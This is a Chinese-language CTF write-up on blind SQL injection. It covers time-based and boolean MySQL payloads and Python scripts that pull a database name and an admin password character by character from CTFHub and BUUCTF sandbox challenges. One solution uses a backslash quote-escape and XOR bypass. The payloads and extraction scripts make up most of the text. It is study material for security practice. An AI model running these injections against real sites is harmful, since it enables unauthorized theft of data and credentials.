时间盲注
在注入过程中没有什么任何回显来判断注入是否成功,只能通过sleep()或benchmark()等函数让mysql执行时间变长来判断。
常用语句:
1' or if(length(database())>0,sleep(4),1)#
爆库
1' or if(ascii(substr(database(),1,1))>0,sleep(4),1)#
爆表
1' or if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 1,1),1,1))>0,sleep(4),1)#
爆列名
1' or if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))>0,sleep(4),1)#
爆字段
1' or if(ascii(substr((select '列名' from '表名'),1,1))>0,sleep(4),1)#
例题:ctfhub时间盲注
没有找到合适的题目,先用这个没有任何过滤的,在比赛中肯定会过滤很多。
没有任何回显,用以上语句可以使mysql执行的时间变长,直接用脚本。查其他只需要改一下sql语句。
import requests
import time
url="http://challenge-0a99fae06ab48db0.sandbox.ctfhub.com:10080/?id="
name=""
for i in range(1,10):
for j in range(32,127):
payload="1 or if(ascii(substr(database(),{},1))={},sleep(4),1)#".format(i,j)
u=url+payload
#time
start=int(time.time())
r=requests.get(u)
end=int(time.time())-start
if end > 3:
name+=chr(j)
print(name)
break
Bool盲注
有回显能判断注入是否成功,但没法显示具体数据。
常用语句:
1' and (length(database())>0)#
1' and (ascii(substr(database(),1,1))>0)#
1' and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 1,1),1,1))>0)#
1' and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))>0)#
1' and (ascii(substr((select '列名' from '表名'),1,1))>0)#
例题:成功显示
失败显示
直接用脚本:
import requests
url="http://challenge-b638ab7b33d15678.sandbox.ctfhub.com:10080/?id="
name=""
for i in range(1,10):
for j in range(32,127):
payload="1 and (ascii(substr(database(),{},1))={})#".format(i,j)
u=url+payload
r=requests.get(u)
if "query_success" in r.text:
name+=chr(j)
print(name)
break
[BJDCTF 2nd]简单(艰难)注入
简单从来不简单,baby从来不baby,Ez从来不Ez。。。
参考:https://www.gem-love.com/ctf/2097.html#GirlfriendInjection(%E7%AE%80%E5%8D%95%E6%B3%A8%E5%85%A5)
https://www.nps.ink/371105.html
https://www.cnblogs.com/mech/p/12892071.html
刷到这个题了,跟巅峰极客一个题的第一步一模一样,复现一下。。
知识点:无引号sql注入
可以用反斜线去将单引号转义,这要就实现了SQL语句逃逸,实现SQL注入。
假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了:
select username,password from user where username='admin\' and password=' or 1#'
这样在password处就可以注入恶意代码。
扫描目录发现robots.txt然后hint.txt给出sql语句:
post传username,password
burp爆破一下过滤的字符
过滤了union、select、=、like、and、单双引号等,没有回显,确定盲注。爆破密码。
注入成功之后显示
所以可以确定bool盲注
因为过滤了等号,可以用大于号,因为当我们传入的恶意代码执行为0的时候,才会有BJD,当爆破到那个字符的时候,就不大于它所对应的ascii,执行为0
关键语句:
^(ascii(substr(password,1,1))>1000)#
脚本:(可以直接爆破,也可以用二分法,我觉得二分法还是快)
爆破:
import requests
url="http://ff56940f-f5ae-40ff-bb4d-6f0e9f4bab7b.node3.buuoj.cn"
password=""
for i in range(1,20):
for j in range(32,127):
payload="^(ascii(substr(password,{},1))>{})#".format(i,j)
data={"username":"admin\\","password":payload}
r=requests.post(url,data)
if "BJD needs to be stronger" in r.text:
password+=chr(j)
print(password)
break
二分法:
import requests
url="http://ff56940f-f5ae-40ff-bb4d-6f0e9f4bab7b.node3.buuoj.cn"
password=""
for i in range(1,20):
low=32
high=127
mid=(low+high)//2
while(low<high):
payload="^(ascii(substr(password,{},1))>{})#".format(i,mid)
data={"username":"admin\\","password":payload}
r=requests.post(url,data)
if "BJD needs to be stronger" in r.text:
high=mid
else:
low=mid+1
mid=(low+high)//2
password+=chr(mid)
print(password)
注入出密码登录就能拿到flag。
同理可以用异或可以换成or,后面注入语句为1.
or (ascii(substr(password,1,1))>1)#
import requests
url="http://ff56940f-f5ae-40ff-bb4d-6f0e9f4bab7b.node3.buuoj.cn"
password=""
for i in range(1,20):
low=32
high=127
mid=(low+high)//2
while(low<high):
payload="or (ascii(substr(password,{},1))>{})#".format(i,mid)
data={"username":"admin\\","password":payload}
r=requests.post(url,data)
if "You konw ,P3rh4ps needs a girl friend" in r.text:
high=mid
else:
low=mid+1
mid=(low+high)//2
password+=chr(mid)
print(password)